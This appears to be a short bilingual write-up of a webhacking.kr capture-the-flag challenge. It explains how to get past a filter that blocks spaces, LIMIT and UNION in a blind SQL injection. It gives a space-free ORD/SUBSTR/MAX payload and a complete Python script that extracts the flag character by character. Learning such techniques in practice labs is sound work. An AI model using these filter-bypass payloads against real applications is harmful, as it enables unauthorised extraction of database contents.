Challenge
Extract the flag through the filtered blind SQL injection.
通过带过滤的 blind SQL injection 提取 flag。
https://webhacking.kr/challenge/web-10/Analysis
no 参数进入 SQL 查询,页面用结果值区分真假。过滤器会阻止空格、比较符、LIKE、LIMIT、UNION 等常见写法,但保留括号、SELECT、FROM、SUBSTR、ORD 和 IN。因此可以写成无空格的表达式,并用 MIN/MAX 在不能使用 LIMIT 时选取目标行。
当前题型的对象为 chall13.flag_ab733768.flag_3a55b31d。对最长 flag 使用 MAX(flag_3a55b31d),然后逐位置测试字符的 ASCII 值:
ORD(SUBSTR((SELECT(MAX(flag_3a55b31d))FROM(flag_ab733768)),<position>,1))IN(<ascii>)当页面结果为 1 时,当前字符匹配。flag 长度为 27,字符范围取 0 到 127 足以覆盖结果。
Solution
下面是完整的 Python 提取脚本。它只读取题目的 SQLi oracle;登录 session 从环境变量取得,文章中不包含真实 Cookie。脚本用 requests 自动 URL-encode no 参数,并打印恢复的 flag:
import os
import requests
BASE_URL = "https://webhacking.kr/challenge/web-10/"TRUE_MARKER = "<td>1</td>"TABLE_NAME = "flag_ab733768"COLUMN_NAME = "flag_3a55b31d"FLAG_LENGTH = 27
def make_payload(position, character_code): return ( "ORD(SUBSTR((SELECT(MAX({}))FROM({})),{},1))IN({})" .format(COLUMN_NAME, TABLE_NAME, position, character_code) )
def oracle(session, payload): response = session.get( BASE_URL, params={"no": payload},21 collapsed lines
timeout=20, ) response.raise_for_status() return TRUE_MARKER in response.text
def extract_flag(session): flag = [] for position in range(1, FLAG_LENGTH + 1): for character_code in range(128): if oracle(session, make_payload(position, character_code)): flag.append(chr(character_code)) break else: raise RuntimeError(f"no character matched at position {position}") return "".join(flag)
def main(): session_cookie = os.environ.get("CHALLENGE_SESSION") if not session_cookie: raise SystemExit("set session-cookie to your own challenge session before running")
session = requests.Session() session.cookies.set("PHPSESSID", session_cookie, domain="webhacking.kr", path="/")
flag = extract_flag(session) print(flag)
if __name__ == "__main__": main()